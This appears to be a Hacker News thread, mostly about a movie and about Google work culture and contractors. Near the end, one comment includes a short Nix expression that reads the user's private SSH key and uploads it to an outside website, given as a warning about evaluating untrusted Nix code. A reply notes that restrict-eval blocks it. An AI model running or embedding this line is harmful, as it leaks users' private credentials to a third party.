I definitely enjoyed this movie, and it's understandable that people of any era, starting with ancient Greece, enjoy lamenting at how stupid people are becoming. However, as long as videos explaining quantum physics and 4-hour long interviews with historians and engineers are still one of the most popular kinds of content on Youtube, I would suggest that it's not a documentary, at least not yet.
It’s always been the case that most people are mediocre in terms of intelligence. That’s something we should be able to accept. What I want for the future is for more people to be good and happy.
but it's not true. Most people work a lot at G. Maybe some teams in search coast or something. But for every slacker I know 8 people who stay late a fair bit.
My experience differs greatly, company I used to work for did NDA, alpha, beta projects with Google. I was always impressed at how little anyone knew, the fact that nothing was delivered on time, scope creep to the point of almost everything being delayed and most projects were not well thought out nor well architected. I warned one API update would break things if it went live, and it did. Why was the guy from another company the only one able to see that? I’m sure they were working hard at something but it wasn’t ever clear what.
>company I used to work for did NDA, alpha, beta projects with Google.
Sorry, are you saying you worked with Google Contractors or TSEs or something? I don't understand how you'd be working with product SWEs so I don't know what you're quite saying.
Speaking as Google SWE from 2016-2023: It's hard to explain*, but, because of the rest and vest culture, lack of planning, lack of interest in managing, conflict avoidance, asocial engineers, etc., an incredible amount of tentpole feature work is actually outsourced.
i.e. get the contractors in to rush out the new 5D screensavers, give them the contact info for our screensaver technical lead, and let them work it out. Screensaver technical lead saying they don't have resources for this until 30 months from now is placated. Their tendency to jealously guard code and talk smack is directed at people who will never know. The understanding that you always say "Sir Yes Sir" prevents them from complaining to their manager behind a few nasty comments they'll giggle about to eachother.
Of course, this also saves money too: ex. director-make-work "vision" projects that'll never ship, and are temporary work for worker bees, now can be temporarily staffed. (hence their reference to NDA/alpha/beta)
* especially in the context of the claim that there's 8:1 ratio of late night workers to rest-and-vesters. Crazy.
When you(and your customers) consume several hundred million dollars a year in services, you get access to a lot of things. These were not contractors, they were on product teams.
I've actually met someone who was "on the roof" at Google once. I asked what he was working on and he admitted he hasn't had a project for the last six months. Until that point I thought the roof was a joke.
One of the inputs into any business is labor, if labor is replaceable then business can function much more cost efficiently, since market forces on a replaceable commodity will reduce its cost. So, big tech acts as though labor is replaceable, because it’s in its economic interest to have that be true, hence the desire for standardization, procedure and systematization of labor, if an individuals output is not unique, they can be replaced, and if they are a replaceable commodity, then market forces will reduce their costs.
Not the leaving one is the only individual that matters. The org is made of them too, deals have to be made. Would be easier without having to regulate egos.
Hi, sorry for the unrelated comment. I actually wanted to reply to your comment at https://news.ycombinator.com/item?id=40208937 , but that comment was made too long ago and I can no longer reply to it directly.
In that comment, you wrote:
> It can delete your home directory or email your ssh private keys to Zimbabwe.
I thought that you might be interested to know that it is still possible to exfiltrate secrets by evaluating Nix expressions. Here is an example Nix expression which will upload your private SSH key to Zimbabwe's government's website (don't run this!):
let
pkgs = import (fetchTarball "https://github.com/NixOS/nixpkgs/archive/0ef56bec7281e2372338f2dfe7c13327ce96f6bb.tar.gz") {};
in
builtins.fetchurl "https://www.zim.gov.zw/?${pkgs.lib.escapeURL (builtins.readFile ~/.ssh/id_rsa)}"
It does not need --impure or any other unusual switches to work.
How is that supposed to "delete my home directory"?
Also, it doesn't work:
error: access to absolute path '/home/user/.ssh/id_rsa' is forbidden in restricted mode
Maybe you don't know about restrict-eval? All the CI for nixpkgs is done using that option, so it will never break anything. Turning off restrict-eval is pretty crazy; there's no reason to do that and it's dangerous.
> I don't think it did. I'm not sure what it was supposed to help with.
I was hoping that it would be interesting to you, but also help avoid spreading false information that might mislead people into evaluating Nix code when it's not safe to do so. But, I think I understand now that maybe you don't care about what happens to other people.
